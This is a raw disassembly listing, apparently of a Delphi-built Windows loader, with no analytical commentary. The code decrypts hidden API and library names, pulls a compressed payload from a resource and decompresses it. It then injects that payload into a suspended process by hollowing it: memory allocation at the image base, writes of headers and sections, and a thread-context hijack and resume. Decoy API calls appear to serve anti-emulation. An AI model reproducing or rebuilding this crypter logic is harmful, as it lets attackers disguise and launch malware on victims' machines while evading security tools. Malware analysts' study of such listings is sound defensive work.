sub_13D74 mov eax, [ebp+var_4C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17680, eax lea eax, [ebp+var_58] call sub_13EE0 mov edx, [ebp+var_58] lea ecx, [ebp+var_54] mov eax, offset dword_14750 call sub_13D74 mov eax, [ebp+var_54] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176A8, eax lea eax, [ebp+var_60] call sub_13EE0 mov edx, [ebp+var_60] lea ecx, [ebp+var_5C] mov eax, offset dword_14764 call sub_13D74 mov eax, [ebp+var_5C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17684, eax lea eax, [ebp+var_68] call sub_13EE0 mov edx, [ebp+var_68] lea ecx, [ebp+var_64] mov eax, offset dword_14780 call sub_13D74 mov eax, [ebp+var_64] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17674, eax lea eax, [ebp+var_70] call sub_13EE0 mov edx, [ebp+var_70] lea ecx, [ebp+var_6C] mov eax, offset dword_14798 call sub_13D74 mov eax, [ebp+var_6C] call sub_13650 push eax mov eax, [ebp+var_8] push eax call ds:dword_17688 mov ds:dword_17690, eax lea eax, [ebp+var_78] call sub_13EE0 mov edx, [ebp+var_78] lea ecx, [ebp+var_74] mov eax, offset dword_147B8 call sub_13D74 mov eax, [ebp+var_74] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176AC, eax lea eax, [ebp+var_80] call sub_13EE0 mov edx, [ebp+var_80] mov eax, offset dword_146E4 lea ecx, [ebp+var_7C] call sub_13D74 mov eax, [ebp+var_7C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17670, eax mov eax, [ebp+hModule] push eax call ds:dword_176A8 mov eax, [ebp+var_8] push eax call ds:dword_176A8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14660 loc_1464B: ; CODE XREF: sub_1434C+312j lea eax, [ebp+var_80] mov edx, 1Eh call sub_134FC retn ; --------------------------------------------------------------------------- loc_14659: ; DATA XREF: sub_1434C+12o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_1464B ; --------------------------------------------------------------------------- loc_14660: ; CODE XREF: sub_1434C+30Cj ; DATA XREF: sub_1434C+2FAo mov esp, ebp pop ebp retn sub_1434C endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 0Ch dword_1466C dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0 dd 0FFFFFFFFh, 9 dword_14684 dd 821D3800h, 0DF809E0Eh, 0B2h, 0FFFFFFFFh, 0Ehdword_14698 dd 0BE0D2929h, 0F287DF10h, 0A75E2ABAh, 478h, 0FFFFFFFFh ; DATA XREF: sub_1434C+7Do dd 10h dword_146B0 dd 9A0B2538h, 0E388D117h, 0A75821ACh, 0B8F0368h, 0 ; DATA XREF: sub_1434C+ACo dd 0FFFFFFFFh, 0Ch dword_146CC dd 9B0A293Ch, 0DBB0D50Fh, 0A64D2BACh, 0 dd 0FFFFFFFFh, 10h dword_146E4 dd 0BA0D293Dh, 0D281C20Ah, 0AC430DBAh, 7B2127Fh, 0 ; DATA XREF: sub_1434C+10Co ; sub_1434C+2B9o dd 0FFFFFFFFh, 11h dword_14700 dd 8A18293Ch, 0D08BC232h, 8F5F3DBBh, 1A51A6Eh, 0 dd 0FFFFFFFFh, 10h dword_1471C dd 0BA0D2929h, 0D281C20Ah, 0AC430DBAh, 7B2127Fh, 0 ; DATA XREF: sub_1434C+16Co dd 0FFFFFFFFh, 0Eh dword_14738 dd 8F1C3E2Dh, 0C1B4D516h, 0B1492DB1h, 3678h, 0FFFFFFFFh ; DATA XREF: sub_1434C+19Co dd 0Bh dword_14750 dd 8B1C3E28h, 0C186D92Eh, 553CBFh, 0FFFFFFFFh, 12h ; DATA XREF: sub_1434C+1CCo dword_14764 dd 9A103E39h, 0DC96E007h, 0B15F2BBDh, 1CA71246h, 320Bh ; DATA XREF: sub_1434C+1FCo dd 0FFFFFFFFh, 0Eh dword_14780 dd 9A0B2538h, 0F288D117h, 0A14322B2h, 0F4Eh, 0FFFFFFFFh ; DATA XREF: sub_1434C+22Co dd 14h dword_14798 dd 802C3B34h, 0E594D10Fh, 8D5B2BB7h, 10AF246Dh, 6F38220Dh ; DATA XREF: sub_1434C+25Co dd 0 dd 0FFFFFFFFh, 10h dword_147B8 dd 830B293Ah, 0C785DE0Bh, 0AD5E1EBBh, 0B91268h, 0 ; DATA XREF: sub_1434C+28Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_147CC proc near ; DATA XREF: CODE:000150E8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_147F1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_176C8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_147F8 loc_147F0: ; CODE XREF: sub_147CC+2Aj retn ; --------------------------------------------------------------------------- loc_147F1: ; DATA XREF: sub_147CC+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_147F0 ; --------------------------------------------------------------------------- loc_147F8: ; CODE XREF: sub_147CC:loc_147F0j ; DATA XREF: sub_147CC+1Fo pop ebp retn sub_147CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_147FC proc near ; DATA XREF: CODE:000150E4o sub ds:dword_176C8, 1 retn sub_147FC endp ; =============== S U B R O U T I N E ======================================= sub_14804 proc near ; CODE XREF: sub_14810+2Dp ; sub_14990+2Cp ... test eax, eax jz short locret_1480D sub eax, 4 mov eax, [eax] locret_1480D: ; CODE XREF: sub_14804+2j retn sub_14804 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14810 proc near ; CODE XREF: sub_14F44+9Bp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE0h xor eax, eax mov [ebp+var_1C], eax mov [ebp+var_20], eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov eax, [ebp+arg_4] call sub_13640 xor eax, eax push ebp push offset loc_14951 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_14804 mov [ebp+var_4], eax cmp [ebp+var_4], 4 jbe loc_14926 lea eax, [ebp+arg_4] call sub_136A0 mov [ebp+var_C], eax mov eax, [ebp+var_C] mov edx, [eax] mov eax, [ebp+arg_0] call sub_136A8 mov eax, [ebp+var_C] cmp dword ptr [eax], 80000h jbe short loc_1487B mov [ebp+var_10], 2 jmp short loc_14882 ; --------------------------------------------------------------------------- loc_1487B: ; CODE XREF: sub_14810+60j mov [ebp+var_10], 102h loc_14882: ; CODE XREF: sub_14810+69j lea eax, [ebp+var_18] call sub_13EE0 mov edx, [ebp+var_18] lea ecx, [ebp+var_14] mov eax, offset dword_14968 call sub_13D74 mov eax, [ebp+var_14] call sub_13650 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov ds:hModule, eax lea eax, [ebp+var_20] call sub_13EE0 mov edx, [ebp+var_20] lea ecx, [ebp+var_1C] mov eax, offset dword_1497C call sub_13D74 mov eax, [ebp+var_1C] call sub_13650 push eax ; lpProcName mov eax, ds:hModule push eax ; hModule call GetProcAddress ; GetProcAddress mov ds:dword_176D0, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+var_4] sub eax, 4 push eax lea eax, [ebp+arg_4] call sub_136A0 add eax, 4 push eax mov eax, [ebp+var_C] mov eax, [eax] push eax mov eax, [ebp+arg_0] call sub_136A0 push eax mov eax, [ebp+var_10] push eax call ds:dword_176D0 mov eax, ds:hModule push eax ; hLibModule call FreeLibrary_0 mov eax, [ebp+arg_0] mov edx, [ebp+var_8] call sub_136A8 jmp short loc_1492E ; --------------------------------------------------------------------------- loc_14926: ; CODE XREF: sub_14810+39j mov eax, [ebp+arg_0] call sub_134D8 loc_1492E: ; CODE XREF: sub_14810+114j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14958 loc_1493B: ; CODE XREF: sub_14810+146j lea eax, [ebp+var_20] mov edx, 4 call sub_134FC lea eax, [ebp+arg_4] call sub_134D8 retn ; --------------------------------------------------------------------------- loc_14951: ; DATA XREF: sub_14810+1Fo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_1493B ; --------------------------------------------------------------------------- loc_14958: ; CODE XREF: sub_14810+140j ; DATA XREF: sub_14810+126o mov esp, ebp pop ebp retn 8 sub_14810 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 9 dword_14968 dd 821D3800h, 0DF809E0Eh, 0B2h, 0FFFFFFFFh, 13hdword_1497C dd 0AA15383Ch, 0DE8BD307h, 0B1493CAEh, 15BF3578h, 252E1Fh ; DATA XREF: sub_14810+ABo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14990 proc near ; CODE XREF: sub_14F44+A8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFECh xor eax, eax mov [ebp+var_14], eax mov eax, [ebp+arg_4] call sub_13640 xor eax, eax push ebp push offset loc_14A7E push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] call sub_134D8 mov eax, [ebp+arg_4] call sub_14804 mov [ebp+var_C], eax mov [ebp+var_4], 1 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] ja loc_14A60 loc_149D7: ; CODE XREF: sub_14990+CAj mov eax, [ebp+arg_4] mov edx, [ebp+var_4] mov al, [eax+edx-1] mov [ebp+var_6], al cmp [ebp+var_6], 0 jnz short loc_14A31 mov eax, [ebp+arg_4] mov edx, [ebp+var_4] mov al, [eax+edx] mov [ebp+var_5], al mov eax, [ebp+arg_0] mov eax, [eax] call sub_14804 mov [ebp+var_10], eax xor edx, edx mov dl, [ebp+var_5] add edx, [ebp+var_10] mov eax, [ebp+arg_0] call sub_136A8 mov eax, [ebp+arg_0] call sub_136A0 mov edx, [ebp+var_10] add eax, edx xor edx, edx mov dl, [ebp+var_5] xor ecx, ecx call sub_12B28 inc [ebp+var_4] jmp short loc_14A51 ; --------------------------------------------------------------------------- loc_14A31: ; CODE XREF: sub_14990+58j lea eax, [ebp+var_14] mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] mov dl, [edx+ecx-1] call sub_135CC mov edx, [ebp+var_14] mov eax, [ebp+arg_0] call sub_135FC mov eax, [ebp+arg_0] loc_14A51: ; CODE XREF: sub_14990+9Fj inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jbe loc_149D7 loc_14A60: ; CODE XREF: sub_14990+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14A85 loc_14A6D: ; CODE XREF: sub_14990+F3j lea eax, [ebp+var_14] call sub_134D8 lea eax, [ebp+arg_4] call sub_134D8 retn ; --------------------------------------------------------------------------- loc_14A7E: ; DATA XREF: sub_14990+16o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14A6D ; --------------------------------------------------------------------------- loc_14A85: ; CODE XREF: sub_14990+EDj ; DATA XREF: sub_14990+D8o mov esp, ebp pop ebp retn 8 sub_14990 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14A8C proc near ; DATA XREF: CODE:000150F0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_14AB1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_176CC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14AB8 loc_14AB0: ; CODE XREF: sub_14A8C+2Aj retn ; --------------------------------------------------------------------------- loc_14AB1: ; DATA XREF: sub_14A8C+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14AB0 ; --------------------------------------------------------------------------- loc_14AB8: ; CODE XREF: sub_14A8C:loc_14AB0j ; DATA XREF: sub_14A8C+1Fo pop ebp retn sub_14A8C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_14ABC proc near ; DATA XREF: CODE:000150ECo sub ds:dword_176CC, 1 retn sub_14ABC endp ; [00000006 BYTES: COLLAPSED FUNCTION ExtractAssociatedIconA. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14ACC proc near ; DATA XREF: CODE:000150F8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_14AF1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_176D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14AF8 loc_14AF0: ; CODE XREF: sub_14ACC+2Aj retn ; --------------------------------------------------------------------------- loc_14AF1: ; DATA XREF: sub_14ACC+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14AF0 ; --------------------------------------------------------------------------- loc_14AF8: ; CODE XREF: sub_14ACC:loc_14AF0j ; DATA XREF: sub_14ACC+1Fo pop ebp retn sub_14ACC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_14AFC proc near ; DATA XREF: CODE:000150F4o sub ds:dword_176D8, 1 retn sub_14AFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14B04 proc near ; CODE XREF: sub_14B48+19Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, 18h mov edx, [ebp+var_4] movzx edx, word ptr [edx+14h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_14B04 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14B28 proc near ; CODE XREF: sub_14B48+216p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 1Dh mov eax, ds:dword_160A0[eax*4] mov [ebp+var_8], eax mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_14B28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14B48 proc near ; CODE XREF: sub_14F44+D7p var_15C = dword ptr -15Ch var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_90 = dword ptr -90h var_60 = word ptr -60h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2D = byte ptr -2Dh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEA4h mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_13640 mov eax, [ebp+var_C] call sub_13640 xor eax, eax push ebp push offset loc_14E47 push dword ptr fs:[eax] mov fs:[eax], esp call sub_1434C mov [ebp+var_D], 0 lea eax, [ebp+var_4C] xor ecx, ecx mov edx, 10h call sub_12B28 lea eax, [ebp+var_90] xor ecx, ecx mov edx, 44h call sub_12B28 mov [ebp+var_90], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_60], ax lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_90] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_13650 push eax mov eax, [ebp+var_8] call sub_13650 push eax mov eax, ds:off_160CC mov eax, [eax] call eax test eax, eax jz loc_14E2C mov [ebp+var_2D], 1 xor eax, eax push ebp push offset loc_14E25 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_15C], 10002h lea eax, [ebp+var_15C] push eax mov eax, [ebp+var_48] push eax mov eax, ds:off_160E4 mov eax, [eax] call eax test eax, eax jz loc_14DED lea eax, [ebp+var_18] push eax push 4 lea eax, [ebp+var_14] push eax mov eax, [ebp+var_B8] add eax, 8 push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160FC mov eax, [eax] call eax test eax, eax jz loc_14DED mov eax, [ebp+var_14] push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160E0 mov eax, [eax] call eax test eax, eax jb loc_14DED cmp [ebp+var_4], 0 jz loc_14DED mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_28], eax mov eax, [ebp+var_28] mov eax, [eax+50h] mov [ebp+var_34], eax mov eax, [ebp+var_28] mov eax, [eax+34h] mov [ebp+var_38], eax push 4 push 3000h mov eax, [ebp+var_34] push eax mov eax, [ebp+var_38] push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160E8 mov eax, [eax] call eax mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_14DED lea eax, [ebp+var_1C] push eax mov eax, [ebp+var_28] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160DC mov eax, [eax] call eax test eax, eax jz loc_14DED mov eax, [ebp+var_28] call sub_14B04 mov [ebp+var_2C], eax mov eax, [ebp+var_28] movzx eax, word ptr [eax+6] dec eax test eax, eax jb loc_14D9C inc eax mov [ebp+var_3C], eax mov [ebp+var_20], 0 loc_14D08: ; CODE XREF: sub_14B48+24Ej lea eax, [ebp+var_1C] push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+10h] push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+14h] add eax, [ebp+var_4] push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+0Ch] add eax, [ebp+var_14] push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160DC mov eax, [eax] call eax test eax, eax jz short loc_14D90 lea eax, [ebp+var_24] push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+24h] call sub_14B28 push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+8] push eax mov eax, [ebp+var_20] lea eax, [eax+eax*4] mov edx, [ebp+var_2C] mov eax, [edx+eax*8+0Ch] add eax, [ebp+var_14] push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160F8 mov eax, [eax] call eax loc_14D90: ; CODE XREF: sub_14B48+203j inc [ebp+var_20] dec [ebp+var_3C] jnz loc_14D08 loc_14D9C: ; CODE XREF: sub_14B48+1AFj lea eax, [ebp+var_1C] push eax push 4 lea eax, [ebp+var_14] push eax mov eax, [ebp+var_B8] add eax, 8 push eax mov eax, [ebp+var_4C] push eax mov eax, ds:off_160DC mov eax, [eax] call eax test eax, eax jz short loc_14DED mov eax, [ebp+var_28] mov eax, [eax+28h] add eax, [ebp+var_14] mov [ebp+var_AC], eax lea eax, [ebp+var_15C] push eax mov eax, [ebp+var_48] push eax mov eax, ds:off_160C4 mov eax, [eax] call eax cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_2D], al loc_14DED: ; CODE XREF: sub_14B48+D9j ; sub_14B48+102j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14E2C loc_14DFA: ; CODE XREF: sub_14B48+2E2j cmp [ebp+var_2D], 0 jnz short loc_14E11 push 0 mov eax, [ebp+var_4C] push eax mov eax, ds:off_160C0 mov eax, [eax] call eax jmp short loc_14E1E ; --------------------------------------------------------------------------- loc_14E11: ; CODE XREF: sub_14B48+2B6j mov eax, [ebp+var_48] push eax mov eax, ds:off_160D4 mov eax, [eax] call eax loc_14E1E: ; CODE XREF: sub_14B48+2C7j mov al, [ebp+var_2D] mov [ebp+var_D], al retn ; --------------------------------------------------------------------------- loc_14E25: ; DATA XREF: sub_14B48+AEo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14DFA ; --------------------------------------------------------------------------- loc_14E2C: ; CODE XREF: sub_14B48+A1j ; DATA XREF: sub_14B48+2ADo xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14E4E loc_14E39: ; CODE XREF: sub_14B48+304j lea eax, [ebp+var_C] mov edx, 2 call sub_134FC retn ; --------------------------------------------------------------------------- loc_14E47: ; DATA XREF: sub_14B48+25o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14E39 ; --------------------------------------------------------------------------- loc_14E4E: ; CODE XREF: sub_14B48+2FEj ; DATA XREF: sub_14B48+2ECo mov al, [ebp+var_D] mov esp, ebp pop ebp retn 4 sub_14B48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14E58 proc near ; DATA XREF: CODE:00015100o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_14E7D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_176DC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14E84 loc_14E7C: ; CODE XREF: sub_14E58+2Aj retn ; --------------------------------------------------------------------------- loc_14E7D: ; DATA XREF: sub_14E58+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14E7C ; --------------------------------------------------------------------------- loc_14E84: ; CODE XREF: sub_14E58:loc_14E7Cj ; DATA XREF: sub_14E58+1Fo pop ebp retn sub_14E58 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_14E88 proc near ; DATA XREF: CODE:000150FCo sub ds:dword_176DC, 1 retn sub_14E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14E90 proc near ; DATA XREF: CODE:00015108o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_14EB5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_176E0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_14EBC loc_14EB4: ; CODE XREF: sub_14E90+2Aj retn ; --------------------------------------------------------------------------- loc_14EB5: ; DATA XREF: sub_14E90+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_14EB4 ; --------------------------------------------------------------------------- loc_14EBC: ; CODE XREF: sub_14E90:loc_14EB4j ; DATA XREF: sub_14E90+1Fo pop ebp retn sub_14E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_14EC0 proc near ; DATA XREF: CODE:00015104o sub ds:dword_176E0, 1 retn sub_14EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14EC8 proc near ; CODE XREF: sub_14F44+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_8], edx mov [ebp+var_4], eax push 0Ah mov eax, [ebp+var_8] push eax mov eax, ds:dword_17650 push eax mov eax, ds:off_160C8 mov eax, [eax] call eax mov [ebp+var_10], eax mov eax, [ebp+var_10] push eax mov eax, ds:dword_17650 push eax mov eax, ds:off_160F4 mov eax, [eax] call eax mov edx, [ebp+var_4] mov [edx], eax mov eax, [ebp+var_10] push eax mov eax, ds:dword_17650 push eax mov eax, ds:off_160EC mov eax, [eax] call eax mov [ebp+var_14], eax mov eax, [ebp+var_14] push eax mov eax, ds:off_160F0 mov eax, [eax] call eax mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_14F3D mov eax, [ebp+var_14] push eax mov eax, ds:off_16100 mov eax, [eax] call eax loc_14F3D: ; CODE XREF: sub_14EC8+66j mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_14EC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_14F44 proc near ; DATA XREF: CODE:000151C9o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_8 = dword ptr 10h push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx xor eax, eax push ebp push offset loc_1504A push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_4], 0FFFFFFFFh mov eax, offset dword_176E8 mov edx, [ebp+arg_8] call sub_14EC8 mov ds:dword_176E4, eax cmp ds:dword_176E4, 0 jz loc_15024 mov eax, offset dword_176EC mov edx, ds:dword_176E8 call sub_136A8 mov eax, offset dword_176EC call sub_136A0 mov edx, eax mov eax, ds:dword_176E4 mov ecx, ds:dword_176E8 call sub_128C8 lea eax, [ebp+var_10] call sub_13EE0 mov edx, [ebp+var_10] lea ecx, [ebp+var_C] mov eax, ds:dword_176EC call sub_13D74 mov edx, [ebp+var_C] mov eax, offset dword_176EC call sub_1352C mov eax, ds:dword_176EC push eax lea eax, [ebp+var_18] push eax call sub_14810 mov eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax call sub_14990 mov edx, [ebp+var_14] mov eax, offset dword_176EC call sub_1352C push 0 lea edx, [ebp+var_1C] xor eax, eax call sub_12A6C mov eax, [ebp+var_1C] push eax mov eax, offset dword_176EC call sub_136A0 xor ecx, ecx pop edx call sub_14B48 test al, al jmp short loc_1502F ; --------------------------------------------------------------------------- loc_15024: ; CODE XREF: sub_14F44+3Aj push 0 mov eax, ds:off_160D8 mov eax, [eax] call eax loc_1502F: ; CODE XREF: sub_14F44+DEj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_15051 loc_1503C: ; CODE XREF: sub_14F44+10Bj lea eax, [ebp+var_1C] mov edx, 5 call sub_134FC retn ; --------------------------------------------------------------------------- loc_1504A: ; DATA XREF: sub_14F44+Fo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_1503C ; --------------------------------------------------------------------------- loc_15051: ; CODE XREF: sub_14F44+105j ; DATA XREF: sub_14F44+F3o mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 10h sub_14F44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1505C proc near ; CODE XREF: CODE:0001515Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx xor eax, eax mov [ebp+var_4], eax cmp [ebp+var_4], 0Ch jge short loc_15074 jmp short loc_15074 ; --------------------------------------------------------------------------- inc [ebp+var_4] cmp [ebp+var_4], 0Ch loc_15074: ; CODE XREF: sub_1505C+Dj sub_1505C+Fj pop ecx pop ebp retn sub_1505C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_15078 proc near ; DATA XREF: CODE:00015110o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_150A1 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, offset dword_176EC call sub_134D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_150A8 loc_150A0: ; CODE XREF: sub_15078+2Ej retn ; --------------------------------------------------------------------------- loc_150A1: ; DATA XREF: sub_15078+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_150A0 ; --------------------------------------------------------------------------- loc_150A8: ; CODE XREF: sub_15078:loc_150A0j ; DATA XREF: sub_15078+23o pop ebp retn sub_15078 endp ; --------------------------------------------------------------------------- align 4 dword_150AC dd 0Ch dd offset off_150B4 off_150B4 dd offset loc_13AD8 ; DATA XREF: CODE:000150B0o dd offset sub_13AA8 dd offset sub_138CC dd offset sub_13878 dd offset sub_13B10 dd offset sub_13AE0 dd offset sub_13B70 dd offset sub_13B40 dd offset sub_13E08 dd offset sub_13DD8 dd offset sub_13E40 dd offset sub_13E10 dd offset sub_147FC dd offset sub_147CC dd offset sub_14ABC dd offset sub_14A8C dd offset sub_14AFC dd offset sub_14ACC dd offset sub_14E88 dd offset sub_14E58 dd offset sub_14EC0 dd offset sub_14E90 align 10h dd offset sub_15078 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFE0h xor eax, eax mov [ebp-1Ch], eax mov [ebp-20h], eax mov [ebp-14h], eax mov [ebp-18h], eax mov eax, offset dword_150AC call sub_13A64 xor eax, eax push ebp push offset loc_15201 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_176F4 push 0 push 0 call ExtractAssociatedIconA ; ExtractAssociatedIconA push 0 push 0 push 0 call SetHandleInformation ; SetHandleInformation call GetLastError call sub_1505C call sub_13F18 lea eax, [ebp-18h] call sub_13EE0 mov edx, [ebp-18h] lea ecx, [ebp-14h] mov eax, offset dword_15218 call sub_13D74 mov eax, [ebp-14h] call sub_13650 push eax call LoadLibraryA ; LoadLibraryA mov ds:dword_176F0, eax lea eax, [ebp-20h] call sub_13EE0 mov edx, [ebp-20h] lea ecx, [ebp-1Ch] mov eax, offset dword_15230 call sub_13D74 mov eax, [ebp-1Ch] call sub_13650 push eax mov eax, ds:dword_176F0 push eax call 